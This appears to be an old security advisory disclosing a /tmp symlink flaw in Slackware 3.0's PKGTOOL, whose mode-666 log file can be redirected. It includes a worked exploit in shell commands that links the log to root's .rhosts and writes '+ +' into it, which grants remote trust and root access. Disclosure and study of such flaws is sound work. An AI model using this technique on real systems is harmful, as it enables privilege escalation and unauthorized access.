Note:
I'm not sure whether or not information this has been previously released.
I found this earlier this evening while poking around, and apologize if
I've just found an old bug.
I verified the existence of this bug in PKGTOOL for Linux Slackware 3.0.
My assumption would be that most other Linux distributions are effected as
well.
Synopsis:
A problem exists in the way PKGTOOL handles the /tmp/PKGTOOL.REMOVED
logfile. This logfile is created mode 666, which allows any user to write
to it. Although this file is usually created the first time PKGTOOL is
run and can't be removed by normal users, a problem develops if root or
the owner of the logfile deletes it for some reason or if PKGTOOL has
never been run before.
Exploit:
If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user
can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts
(for a generic example). The next time PKGTOOL is run, which will more
than likely be run by root, ~root/.rhosts will be created as a 666 file
with the logs from PKGTOOL as its contents. One may now simply do an echo
"+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED.
For this example, root is the victim while hamors is the attacker:
hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG
- -rw-rw-rw- 1 root root 16584 Aug 26 18:07 PKGTOOL.REMOVED.backup
hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED
hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED
cat: PKGTOOL.REMOVED: No such file or directory
God (17 20:59) litterbox:~# pkgtool
root now uses PKGTOOL to delete a package
hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED
Removing package tcl:
Removing files:
...
hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED
hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts
+ +
Verification:
This vulnerability has been tested on Linux Slackware 3.0 with the stock
installed PKGTOOL.
---Murat Arslan